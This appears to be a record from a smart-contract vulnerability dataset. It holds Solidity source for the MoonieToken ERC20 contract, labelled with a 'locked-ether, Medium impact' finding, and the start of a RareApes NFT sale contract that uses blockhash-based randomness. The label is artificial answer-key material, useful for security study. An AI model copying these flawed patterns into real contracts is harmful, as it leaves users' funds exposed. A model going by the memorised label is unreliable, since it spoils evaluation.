* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File @openzeppelin/contracts/utils/Strings.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/access/AccessControl.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File contracts/common/AccessControlMixin.sol
pragma solidity 0.8.4;
contract AccessControlMixin is AccessControl {
string private _revertMsg;
function _setupContractId(string memory contractId) internal {
_revertMsg = string(abi.encodePacked(contractId, ": INSUFFICIENT_PERMISSIONS"));
}
modifier only(bytes32 role) {
require(
hasRole(role, _msgSender()),
_revertMsg
);
_;
}
}
// File contracts/common/IChildToken.sol
pragma solidity 0.8.4;
interface IChildToken {
function deposit(address user, bytes calldata depositData) external;
}
// File @openzeppelin/contracts/utils/math/SafeMath.sol@v4.2.0
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File contracts/common/EIP712Base.sol
pragma solidity 0.8.4;
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contractsa that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// File contracts/common/NativeMetaTransaction.sol
pragma solidity 0.8.4;
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
msg.sender,
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// File contracts/common/ContextMixin.sol
pragma solidity 0.8.4;
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = msg.sender;
}
return sender;
}
}
// File contracts/common/IERC20Mintable.sol
pragma solidity 0.8.4;
interface IERC20Mintable is IERC20 {
/**
* @notice called by predicate contract to mint tokens while withdrawing
* @dev Should be callable only by MintableERC20Predicate
* Make sure minting is done only by this function
* @param user user address for whom token is being minted
* @param amount amount of token being minted
*/
function mint(address user, uint256 amount) external;
}
// File contracts/ethereum/MoonieToken.sol
pragma solidity 0.8.4;
contract MoonieToken is
ERC20,
AccessControlMixin,
NativeMetaTransaction,
ContextMixin,
IERC20Mintable
{
bytes32 public constant PREDICATE_ROLE = keccak256("PREDICATE_ROLE");
constructor(string memory name_, string memory symbol_, address rootPredicateProxy)
ERC20(name_, symbol_)
{
_setupContractId("MoonieToken");
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(PREDICATE_ROLE, rootPredicateProxy);
_initializeEIP712(name_);
}
/**
* @dev See {IERC20Mintable-mint}.
*/
function mint(address user, uint256 amount) external override only(PREDICATE_ROLE) {
_mint(user, amount);
}
function _msgSender()
internal
override
view
returns (address)
{
return ContextMixin.msgSender();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./ERC721.sol";
contract RareApes is ERC721 {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_NFT_SUPPLY = 5000;
uint256 public immutable SALE_START_TIMESTAMP;
uint256 public immutable REVEAL_TIMESTAMP;
uint256 public startingIndexBlock;
uint256 public startingIndex;
mapping (uint256 => bool) private _mintedBeforeReveal;
address payable private immutable _owner;
address payable private immutable _partner;
constructor (
string memory name,
string memory symbol,
string memory baseURI,
uint256 saleStartTimestamp,
address payable partner
) public ERC721 (name, symbol) {
SALE_START_TIMESTAMP = saleStartTimestamp;
REVEAL_TIMESTAMP = saleStartTimestamp + (86400 * 14);
_owner = msg.sender;
_partner = partner;
_setBaseURI(baseURI);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(startingIndex > 0, "Tokens have not been revealed yet");
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
uint256 realTokenId = tokenId.add(startingIndex) % MAX_NFT_SUPPLY;
string memory base = baseURI();
return string(abi.encodePacked(base, realTokenId.toString(), ".json"));
}
/**
* @dev Returns if the NFT has been minted before reveal phase
*/
function isMintedBeforeReveal(uint256 index) public view returns (bool) {
return _mintedBeforeReveal[index];
}
/**
* @dev Gets current NFT Price
*/
function getNFTPrice() public view returns (uint256) {
require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started");
require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended");
uint currentSupply = totalSupply();
if (currentSupply >= 4750) {
return 1500000000000000000; // 4750 - 5000 1.5 ETH
} else if (currentSupply >= 4000) {
return 900000000000000000; // 4000 - 4749 0.9 ETH
} else if (currentSupply >= 2000) {
return 500000000000000000; // 2000 - 3999 0.5 ETH
} else if (currentSupply >= 750) {
return 300000000000000000; // 750 - 1999 0.3 ETH
} else {
return 100000000000000000; // 0 - 749 0.1 ETH
}
}
/**
* @dev Mints NFT
*/
function mintNFT(uint256 numberOfNfts) public payable {
require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended");
require(numberOfNfts > 0, "numberOfNfts cannot be 0");
require(numberOfNfts <= 20, "You may not buy more than 20 NFTs at once");
require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY, "Exceeds MAX_NFT_SUPPLY");
require(getNFTPrice().mul(numberOfNfts) == msg.value, "Ether value sent is not correct");
for (uint i = 0; i < numberOfNfts; i++) {
uint mintIndex = totalSupply();
if (block.timestamp < REVEAL_TIMESTAMP) {
_mintedBeforeReveal[mintIndex] = true;
}
_safeMint(msg.sender, mintIndex);
}
/**
* Source of randomness. Theoretical miner withhold manipulation possible but should be sufficient in a pragmatic sense
*/
if (startingIndexBlock == 0 && (totalSupply() == MAX_NFT_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) {
startingIndexBlock = block.number;
}
}
/**
* @dev Finalize starting index
*/
function finalizeStartingIndex() public {
require(startingIndex == 0, "Starting index is already set");
require(startingIndexBlock != 0, "Starting index block must be set");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_NFT_SUPPLY;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if (block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number-1)) % MAX_NFT_SUPPLY;
}
// Prevent default sequence
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
/**
* @dev Withdraw ether from this contract (Callable by owner and partner)
*/
function withdraw() public {
require(_msgSender() == _owner || _msgSender() == _partner, "Caller is neither the owner nor the withdrawal address");
uint balance = address(this).balance;
uint ownerAmount = balance.div(5);
uint partnerAmount = balance - ownerAmount;
_owner.transfer(ownerAmount);
_partner.transfer(partnerAmount);
}
